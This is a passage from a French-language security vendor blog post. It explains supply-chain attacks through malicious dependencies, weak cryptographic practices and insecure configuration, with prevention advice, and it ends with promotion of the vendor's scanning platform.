Au-delà des simples alertes, certains outils modernes peuvent même AutoFix ces problèmes – vous faisant passer automatiquement à des versions sécurisées. Certaines plateformes peuvent détecter les paquets vulnérables et proposer la mise à niveau minimale de version qui corrige la CVE (et même ouvrir une pull request pour vous). Testez toujours après les mises à niveau, mais ne laissez pas la peur des changements cassants vous maintenir sur une ancienne version vulnérable – le risque de violation l'emporte souvent sur le risque d'une mise à jour mineure dans la plupart des cas.

De plus, minimisez les dépendances lorsque c'est possible (moins de bibliothèques signifie moins de vulnérabilités potentielles) et privilégiez les bibliothèques avec une maintenance active. Si un projet semble abandonné et présente des problèmes connus, envisagez des alternatives. Surveillez les flux de sécurité pour les vulnérabilités critiques dans les technologies que vous utilisez. Essentiellement, traitez la gestion des dépendances comme faisant partie de votre posture de sécurité, et non comme une simple tâche DevOps. L'objectif est de combler les failles connues avant que les attaquants ne les exploitent.

8. Dépendances Malveillantes ou Compromises (attaques de la chaîne d’approvisionnement)

Liées à l'utilisation de composants obsolètes, mais encore plus insidieuses, sont les attaques de la chaîne d’approvisionnement logicielle – lorsque les attaquants empoisonnent la source en injectant du code malveillant dans les paquets tiers que vous utilisez. Au lieu d'attendre une vulnérabilité, l'attaquant en crée une en altérant furtivement une bibliothèque (ou en en publiant une fausse) que les développeurs intègrent ensuite dans leurs projets. Cette forme d'attaque a augmenté ces dernières années, en particulier dans des écosystèmes comme npm et PyPI.

Un cas dramatique s'est produit en Septembre 2025, lorsque l'une des plus grandes compromissions npm de l'histoire a eu lieu. Des attaquants ont hameçonné un mainteneur de paquets populaires comme debug et chalk (qui totalisaient plus de 2 milliards de téléchargements hebdomadaires !) et ont pris le contrôle de son compte npm. Ils ont ensuite publié mises à jour infectées pour 18 packages, ajoutant du code malveillant qui ciblait les portefeuilles de crypto-monnaies sur les pages web. Les développeurs qui ont innocemment mis à jour vers ces nouvelles versions ont essentiellement intégré des malwares. Le code malveillant s'est greffé sur les API web pour voler des crypto-monnaies en échangeant les adresses de portefeuille lors des transactions. Cet incident a été massif – il a mis potentiellement des millions d'applications en danger jusqu'à ce que les packages soient retirés et patchés. C'est un rappel frappant que même les packages largement fiables peuvent soudainement se transformer en chevaux de Troie si leurs mainteneurs sont compromis.

Autres exemples : le package npm event-stream a été notoirement compromis en 2018 pour voler les clés de portefeuille Bitcoin d'une application spécifique. En 2021, PyPI a connu une série d'attaques de typosquatting où les attaquants ont téléchargé des packages avec des noms similaires à des packages populaires (par exemple, urlib3 au lieu de urllib3) contenant des backdoors. Quiconque a mal tapé le nom a installé le package malveillant. Même les outils d'infrastructure ont été touchés – images Docker Hub, extensions VSCode, et bien d'autres.

Impact : Une dépendance malveillante peut exécuter n'importe quel code avec les mêmes privilèges que votre application. Cela signifie qu'elle pourrait voler les données de votre application, exfiltrer des secrets (clés API, identifiants de base de données) de votre environnement, implanter des backdoors, ou pivoter pour attaquer d'autres systèmes. Les attaques de la chaîne d’approvisionnement retournent efficacement le modèle de confiance contre nous : nous faisons confiance aux packages open-source pour être inoffensifs, nous les incluons donc librement. Une fois cette confiance trahie, l'impact peut être généralisé et très difficile à détecter (combien de développeurs inspectent chaque ligne de code dans leurs node_modules ? Aucun). L'ampleur est ce qui rend cela si dangereux – compromettez un package populaire et vous violez potentiellement des milliers d'applications en aval en une seule fois.

Prévention : Se défendre contre les dépendances malveillantes est un défi, mais il existe des bonnes pratiques :

  • Épinglez et vérifiez les versions : Ne mettez pas à jour aveuglément vos dépendances vers la dernière version sans examen. Utilisez des fichiers de verrouillage ou des épingles de version explicites afin qu'une mise à jour malveillante soudaine ne s'introduise pas automatiquement. Lorsqu'une nouvelle version d'une dépendance critique est publiée, consultez le changelog ou le diff si possible, surtout s'il s'agit d'un package à fort impact.
  • Utilisez les fonctionnalités d'intégrité des packages : Les gestionnaires de packages comme npm et PyPI prennent en charge la vérification des signatures ou des sommes de contrôle des packages. Pour npm, vous obtenez un hachage d'intégrité SHA-512 dans le fichier de verrouillage – la probabilité qu'un attaquant produise une collision de hachage est négligeable, ce qui peut garantir que vous installez exactement ce que vous pensez installer. Certains écosystèmes ont des packages signés – si disponible, utilisez cette fonctionnalité.
  • Surveillez les avis de sécurité : Les avis de sécurité et les outils de surveillance proactive peuvent signaler si un package est compromis. Dans certains incidents majeurs, les alertes ont été émises très rapidement. Les projets et les plateformes maintiennent des flux de menaces pour les packages malveillants, ce qui peut vous avertir ou bloquer l'installation de packages connus comme étant dangereux.
  • Moindre privilège et sandboxing : Envisagez d'exécuter les builds ou les installations de packages dans des environnements isolés. Si un package malveillant s'exécute, il peut causer moins de dommages dans un sandbox ou un conteneur avec des permissions limitées. De plus, à l'exécution, essayez d'exécuter votre application avec le moins de privilèges nécessaires, de sorte que si une bibliothèque devient malveillante, elle ait un accès minimal (par exemple, ne pas exécuter votre application Node.js en tant que root sur le serveur).
  • Auditez le code si possible : C'est difficile à grande échelle, mais pour les dépendances très cruciales, il peut être utile de faire un audit de code rapide ou d'utiliser des outils automatisés qui analysent le comportement des packages. Certains outils tentent de détecter si une mise à jour commence soudainement à interrompre les connexions réseau ou à lire des variables d'environnement de manière suspecte.

En résumé, restez vigilant concernant votre chaîne d'approvisionnement. La communauté développe davantage d'outils pour lutter contre cela (npm dispose désormais de l'authentification à deux facteurs pour les mainteneurs, etc.), mais en fin de compte, en tant que consommateur de packages, vous devez surveiller ce que vous intégrez à votre application. L'utilisation d'une solution automatisée pour rechercher les malwares dans les dépendances peut fournir une couche de défense supplémentaire, détectant le code malveillant avant qu'il ne vous atteigne.

9. Pratiques cryptographiques faibles

Même lorsque les développeurs tentent de sécuriser des données, la manière dont ils le font est cruciale. Une utilisation incorrecte de la cryptographie peut donner un faux sentiment de sécurité. Les pièges courants incluent l'utilisation d'algorithmes obsolètes ou faibles, une mauvaise gestion des clés, ou l'implémentation manuelle (et erronée) de protocoles cryptographiques. Ces erreurs ne mèneront pas toujours à une CVE évidente, mais elles sapent les protections que vous aviez l'intention de mettre en place.

Quelques exemples :

  • Hachage faible pour les mots de passe : Stocker des mots de passe en utilisant un hachage rapide comme MD5 ou SHA-1 (ou pire, non salé) est dangereux. Les hachages rapides peuvent être cassés très rapidement par force brute ou tables arc-en-ciel avec du matériel moderne. De nombreuses violations de données ont eu lieu où des entreprises avaient haché des mots de passe mais ont tout de même subi des pertes car les attaquants ont cassé ces hachages. C'est pourquoi la norme de l'industrie est d'utiliser un hachage lent et gourmand en calcul (bcrypt, scrypt, Argon2) avec des sels.
  • Clés cryptographiques codées en dur ou réutilisées : Nous avons vu des développeurs commettre des clés secrètes JWT, des secrets HMAC d'API ou des clés de chiffrement dans des dépôts publics (ce qui chevauche la problématique des secrets). Si un attaquant obtient votre clé symétrique, il peut forger des jetons ou déchiffrer des données à volonté. De même, la réutilisation de la même clé dans différents environnements ou l'utilisation de clés par défaut (certains frameworks livraient un secret JWT par défaut pour le mode dev que les gens oubliaient de modifier) peut entraîner un compromis.
  • Aléatoire Insécurisé : L'utilisation de générateurs de nombres aléatoires non cryptographiquement sécurisés pour des jetons sensibles à la sécurité. Par exemple, l'utilisation de Math.random() en JavaScript pour générer un jeton de réinitialisation de mot de passe – c'est suffisamment prévisible pour être forcé par brute force. Il y a eu des CVE dans des langages pour une mauvaise génération de nombres aléatoires, mais plus souvent, c'est un développeur qui ne réalise pas qu'il a besoin de quelque chose comme crypto.randomBytes ou SecureRandom.
  • Cryptographie et protocoles personnalisés : « Ne créez pas votre propre cryptographie » est une sagesse ancestrale. Implémenter votre propre algorithme ou protocole de chiffrement est susceptible d'introduire des failles. Par exemple, un développeur pourrait décider de chiffrer des données avec AES mais d'utiliser le mode ECB (ce qui est non sécurisé car il ne randomise pas les blocs identiques) – ce schéma est apparu dans certaines bibliothèques de chiffrement maison et a conduit à la divulgation d'informations. Autre exemple : ne pas vérifier correctement les signatures (par exemple, ne pas vérifier la chaîne de certificats dans une connexion SSL/TLS, désactivant ainsi la validation – ce qui a conduit à des vulnérabilités de type « man-in-the-middle » dans certaines applications).

Impact : Une cryptographie faible peut entraîner des fuites de données et des contournements d'authentification. Si les mots de passe sont facilement cassables, une violation de votre base de données de mots de passe hachés signifie que les attaquants obtiendront un pourcentage important des mots de passe réels. Si les jetons ou les cookies sont signés avec une clé faible (ou pas du tout), les attaquants peuvent forger ces jetons pour usurper l'identité des utilisateurs (c'est ainsi que le fiasco du JWT « alg:none » a fonctionné – il s'agissait essentiellement de dire « aucune signature »). Si le chiffrement est mal effectué, les attaquants pourraient déchiffrer des données sensibles ou les altérer inaperçus. Essentiellement, vous pensez que vos données sont sécurisées, mais ce n'est pas le cas – et cela peut être catastrophique car vous pourriez ne pas mettre en place d'autres protections, en supposant que la cryptographie vous couvre.

Prévention : Suivez scrupuleusement les meilleures pratiques et les normes établies :

  • Utilisez des bibliothèques cryptographiques éprouvées plutôt que d'écrire les vôtres. Utilisez les protocoles les plus récents (TLS 1.3 plutôt que TLS 1.0, JWT avec des algorithmes robustes ou mieux encore, des jetons opaques avec stockage côté serveur si possible, etc.).
  • Choisissez des algorithmes et des modes robustes : AES-GCM ou ChaCha20-Poly1305 pour le chiffrement, RSA ou ECDSA avec des longueurs de clé adéquates pour les signatures, PBKDF2/bcrypt/Argon2 pour le hachage des mots de passe, etc. Évitez les algorithmes dépréciés (MD5, SHA-1, DES, RC4, etc.).
  • Gérez les clés de manière sécurisée : ne les codez pas en dur (encore une fois, gestion des secrets), faites pivoter les clés périodiquement et utilisez des clés distinctes pour des usages distincts. Si vous utilisez des JWT, assurez-vous que le secret ou la clé de signature est suffisamment complexe et stocké en toute sécurité.
  • Pour les valeurs aléatoires (clés API, tokens, nonces), utilisez des générateurs de nombres aléatoires cryptographiquement sûrs. Dans la plupart des langages, il s'agit d'une fonction spécifique : par exemple, crypto.randomBytes en Node, System.Security.Cryptography.RandomNumberGenerator en .NET, java.security.SecureRandom en Java (avec une bonne source).
  • Lorsque vous utilisez des bibliothèques cryptographiques, lisez leur documentation sur l'utilisation appropriée. Beaucoup d'erreurs proviennent d'une mauvaise utilisation. Par exemple, si vous utilisez PyCrypto ou le package crypto de Go, assurez-vous de fournir un IV unique pour chaque appel de chiffrement, ne réutilisez pas les nonces, etc. De nombreuses bibliothèques proposent des valeurs par défaut sûres, mais pas toutes.
  • Tests et révision : Incluez des tests qui garantissent, par exemple, qu'un mot de passe haché ne peut pas être facilement cassé ou que les données chiffrées ne peuvent pas être altérées. Envisagez d'utiliser des outils tels que des linters ou des analyseurs cryptographiques qui peuvent signaler les algorithmes faibles. Il existe des règles d'analyse statique pour détecter l'utilisation de MD5 ou d'IV constants, par exemple. Le scanning d'Aikido peut détecter certains schémas d'utilisation cryptographique faibles (comme l'utilisation de fonctions de hachage non sécurisées) et vous alerterait afin que vous puissiez passer à des alternatives plus sûres.

En bref, une cryptographie robuste est votre alliée – mais seulement si elle est utilisée correctement. Tirez parti des implémentations et configurations validées par la communauté. En cas de doute, consultez des experts en sécurité ou des ressources pour adopter la bonne approche plutôt que de deviner. Un peu de temps supplémentaire consacré à la bonne mise en œuvre de la cryptographie peut vous éviter une violation majeure à l'avenir.

10. configurations de sécurité inadéquates et valeurs par défaut non sécurisées

Toutes les vulnérabilités ne proviennent pas de la logique du code ; parfois, c'est la manière dont l'application est configurée (ou mal configurée) qui crée une faille. La configuration de sécurité inadéquate est une catégorie large, mais dans le contexte du code, nous parlons de choses telles que laisser les modes de débogage activés, utiliser des identifiants par défaut ou des configurations d'exemple, des messages d'erreur verbeux divulguant des informations, ou ne pas configurer les en-têtes de sécurité. Ce sont souvent de simples oublis qui peuvent avoir de graves conséquences.

Exemples :

  • Laisser le mode débogage activé : De nombreux frameworks (Django, Flask, Rails, etc.) disposent d'un mode de débogage/développement qui ne devrait jamais être activé en production. En mode débogage, les frameworks fournissent souvent des pages d'erreur riches et même des consoles interactives. Par exemple, le débogueur Werkzeug de Flask vous permet d'exécuter du code Python arbitraire via le navigateur – excellent pour le développement, mais s'il est laissé activé en production (et si un attaquant peut y accéder), c'est une RCE instantanée. Il y a eu des cas où des applications Flask mal configurées étaient exposées sur Internet avec le mode débogage activé, et les attaquants ont facilement pris le contrôle du serveur. (Ce problème est si connu que les frameworks affichent de grands avertissements, mais cela arrive encore occasionnellement.)
  • Identifiants/Configurations par défaut : Les exemples incluent le fait de laisser le mot de passe administrateur par défaut comme “admin” ou de ne pas modifier les clés API par défaut. Dans le code, peut-être avez-vous utilisé un tutoriel qui contenait un secret JWT d'exemple “secret123” et vous ne l'avez jamais changé – oups, cela signifie que n'importe qui pourrait forger des jetons. Ou un SDK de stockage cloud pourrait par défaut utiliser un certain nom de bucket ou une règle d'accès que vous n'avez pas remplacée, laissant par inadvertance quelque chose de public.
  • Messages d'erreur verbeux et traces de pile : Si votre application affiche des traces de pile complètes ou des dumps d'erreur à l'utilisateur, un attaquant peut glaner beaucoup d'informations (versions logicielles, chemins internes, structures de requêtes). Ces informations peuvent faciliter d'autres attaques comme l'injection SQL (en connaissant la structure de la requête à partir d'un message d'erreur) ou en identifiant les versions de bibliothèques que vous utilisez.
  • En-têtes et paramètres de sécurité : Ne pas configurer votre application web avec des en-têtes sécurisés (Content Security Policy, X-Frame-Options, HSTS, etc.) n'est pas une vulnérabilité directe dans votre code, mais cela ne parvient pas à atténuer certaines classes d'attaques. De même, permettre à votre application de fonctionner en HTTP (sans rediriger vers HTTPS) ou ne pas valider les certificats TLS si votre code effectue des requêtes sortantes peut relever de configurations inadéquates menant à des exploits (comme les attaques MitM).
  • Permissions de fichiers/répertoires et téléchargements : Si votre application enregistre des fichiers téléchargés par les utilisateurs dans un répertoire accessible via le web sans aucune vérification, un attaquant pourrait télécharger un script et y accéder directement via une URL – il a alors effectivement exécuté du code sur votre serveur (c'est ainsi que fonctionnaient de nombreux exploits PHP plus anciens). Cela peut être considéré comme une configuration inadéquate de l'application (ne pas empêcher les types de fichiers dangereux et ne pas isoler correctement les téléchargements).

Impact : Les configurations inadéquates peuvent entraîner un compromis immédiat tout comme les bugs de code. Par exemple, une interface d'administration laissée sans mot de passe (cela arrive !) est fondamentalement une porte ouverte. Une console de débogage laissée activée peut donner un accès shell à un attaquant. Des messages d'erreur détaillés peuvent aider les attaquants à trouver une injection SQL ou un vecteur XSS. Ainsi, bien que les configurations inadéquates puissent sembler n'être qu'un “simple paramètre”, elles peuvent être tout aussi mortelles que toute autre vulnérabilité. La violation de données d'Uber en 2024, par exemple, aurait commencé par un outil d'administration exposé sans MFA – ce qui est un problème de configuration d'accès inadéquate.

Prévention : La bonne nouvelle est que les erreurs de configuration sont généralement simples à corriger une fois identifiées. Cela se résume souvent à maintenir une liste de contrôle des configurations durcies :

  • Désactivez les modes débogage/développeur en production. Vérifiez attentivement avant de déployer. De nombreux frameworks permettent une variable d'environnement ou un flag de configuration – assurez-vous qu'il est correctement configuré. Vous pouvez même insérer une assertion dans le code pour refuser l'exécution si le mode débogage est activé dans un environnement non local.
  • Changez tous les mots de passe et secrets par défaut. C'est une mesure de base mais qui doit être soulignée. Tout ce qui est fourni avec un identifiant par défaut doit être modifié lors de la première installation. Si vous utilisez un code passe-partout ou un modèle qui contient des clés ou des mots de passe d'exemple, recherchez-les dans votre base de code et remplacez-les par des valeurs sécurisées.
  • Gérez les erreurs de manière élégante. Configurez une page d'erreur générique pour les utilisateurs. Enregistrez l'erreur détaillée en interne, mais n'exposez pas les traces de pile aux utilisateurs finaux. De plus, examinez les informations que vos erreurs API renvoient – ne divulguez pas d'informations telles que des requêtes SQL complètes ou des chemins de fichiers serveur.
  • Appliquez les en-têtes de sécurité et les meilleures pratiques. Utilisez des bibliothèques ou des middlewares qui définissent des en-têtes sécurisés (de nombreux frameworks disposent d'un module de sécurité que vous pouvez activer). Appliquez le HTTPS et utilisez HSTS pour empêcher le retour à HTTP. Si votre application doit autoriser les iframes ou le cross-origin, configurez-la délibérément ; sinon, définissez X-Frame-Options DENY, etc.
  • Gestion des téléchargements de fichiers : Si votre application gère les téléchargements de fichiers, stockez-les en dehors de la racine web ou renommez-les avec des extensions inoffensives. Validez les types de fichiers. Et assurez-vous que le compte sous lequel votre application s'exécute ne dispose que des permissions de fichier dont il a réellement besoin – limitez le rayon d'impact.
  • Configurations de plateforme à jour : Maintenez votre serveur d'applications et vos dépendances à jour afin de bénéficier des configurations sécurisées par défaut. Par exemple, les versions plus récentes des frameworks peuvent activer une sécurité plus stricte par défaut.

La mise en œuvre de scans automatisés pour les erreurs de configuration peut être utile. Des outils, y compris la plateforme d'Aikido, peuvent scanner votre application et votre infrastructure à la recherche de schémas de mauvaise configuration courants – comme la recherche de « DEBUG = True » dans un fichier de paramètres Python ou la vérification si votre site envoie des en-têtes de sécurité. Ces vérifications font souvent partie d'une suite de tests de sécurité des applications.

Enfin, envisagez d'utiliser l'infrastructure as code (IaC) et les pipelines DevOps pour faire respecter les standards de configuration. Si vous conteneurisez votre application, par exemple, vous pouvez scripter le conteneur pour qu'il échoue si certaines variables d'environnement (comme un flag de debug en production) sont présentes. L'essentiel est de ne pas considérer la configuration de déploiement comme une réflexion après coup – elle fait partie intégrante de la sécurité de votre application.

Intégrer la sécurité dans votre pipeline de développement

Nous avons couvert beaucoup de terrain – des injections classiques et XSS aux nuances des attaques de la chaîne d'approvisionnement et des bugs cryptographiques. S'il y a un thème, c'est que le codage sécurisé est un effort continu. Des erreurs se produiront, de nouvelles vulnérabilités apparaîtront dans vos dépendances, et les attaquants continueront de sonder cette unique omission. La meilleure façon de garder une longueur d'avance est de construire un processus de développement résilient qui détecte les problèmes tôt et en continu.

Cela implique d'adopter des pratiques telles que les code review avec une approche axée sur la sécurité, les mises à jour régulières des dépendances et l'intégration des tests de sécurité dans le CI/CD. Les outils automatisés sont vos alliés ici. Par exemple, les Tests de sécurité des applications statiques (SAST) peuvent analyser votre code au fur et à mesure que vous l'écrivez, signalant les modèles risqués (chaînes SQL, appels de fonctions dangereuses) avant même qu'ils ne s'exécutent. Les scanners de dépendances vous alerteront dès qu'une nouvelle CVE affectera une bibliothèque de votre dépôt – crucial lorsque les exploits sont transformés en armes en quelques heures. L'analyse des secrets peut éviter ce moment de « oups » où l'on pousse une clé API sur GitHub. Et les analyses de conteneurs/infrastructures peuvent garantir que vos configurations de déploiement sont renforcées.

Chez Aikido, nous croyons qu'il faut rendre cela convivial pour les développeurs. Nous aimons les outils open-source comme ESLint, Semgrep, Trivy, etc., mais nous savons aussi qu'enchaîner un tas de scanners peut devenir un casse-tête pour les équipes de développement. C'est pourquoi des plateformes comme Aikido intègrent plusieurs contrôles de sécurité (SAST, SCA, secrets, IaC, analyse de conteneurs) avec des règles personnalisées et des capacités d'autocorrection – afin que vous obteniez une couverture complète avec une bonne expérience développeur (DX). L'objectif est de révéler les vulnérabilités réelles avec un contexte complet et même de fournir des corrections automatisées ou des conseils, directement dans votre flux de travail. Par exemple, si Aikido signale une bibliothèque vulnérable, il peut suggérer la version sécurisée vers laquelle mettre à niveau (et le faire pour vous). S'il trouve un secret, il peut vous aider à le faire pivoter et à prévenir sa récurrence. Cela réduit la charge des développeurs qui n'ont pas à devenir des experts en sécurité pour chaque vulnérabilité – les outils les assistent et ils apprennent au fur et à mesure.

En tant que développeur, vous avez le pouvoir de rendre votre logiciel plus sûr pour tous. Commencez par traiter les bugs de sécurité avec la même importance que les bugs fonctionnels. Intégrez les principales vulnérabilités que nous avons abordées dans vos cas de test et vos modèles de menace. Et ne faites pas cavalier seul – tirez parti des outils et services de sécurité qui s'intègrent à votre IDE et à votre CI. Vous pouvez commencer par exécuter une analyse gratuite avec Aikido ou des plateformes similaires sur l'un de vos projets pour voir ce qu'il trouve. C'est souvent révélateur ! Configurez ces outils pour qu'ils s'exécutent sur chaque pull request, afin que les problèmes soient détectés tôt, lorsqu'ils sont les moins chers à corriger.

Le codage sécurisé est un voyage, pas une destination. Mais en étant conscient de ces types de vulnérabilités courants et en utilisant de manière proactive les bonnes pratiques et outils, vous pouvez réduire considérablement vos risques. Livrons du code qui n'est pas seulement incroyable, mais sécurisé dès la conception. Vos utilisateurs (et votre futur vous-même) vous remercieront.

Poursuivez votre lecture :
Les 9 principales vulnérabilités de sécurité des conteneurs Docker    
Les 7 principales vulnérabilités de sécurité du cloud    
Les 10 principales vulnérabilités de sécurité des applications web que chaque équipe devrait connaître    
Les 9 principales vulnérabilités et mauvaises configurations de sécurité Kubernetes    
Les 10 principales vulnérabilités de sécurité Python que les développeurs devraient éviter    
Les principales vulnérabilités de sécurité JavaScript dans les applications web modernes    
Les 9 principales vulnérabilités de sécurité de la chaîne d'approvisionnement logicielle expliquées

Partager :

https://www.aikido.dev/blog/code-security-vulnerabilities

Abonnez-vous pour les actualités sur les menaces.

Démarrez gratuitement dès aujourd'hui.

Commencer gratuitement
Sans carte bancaire
4,7/5
Fatigué des faux positifs ?
Essayez Aikido, comme 100 000 autres.
Commencez maintenant
Obtenez une démonstration personnalisée

Approuvé par plus de 100 000 équipes

Réserver maintenant
Analysez votre application à la recherche d'IDORs et de chemins d'attaque réels

Approuvé par plus de 100 000 équipes

Démarrer l'analyse
Découvrez comment le pentest IA teste votre application

Approuvé par plus de 100 000 équipes

Démarrer les tests

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.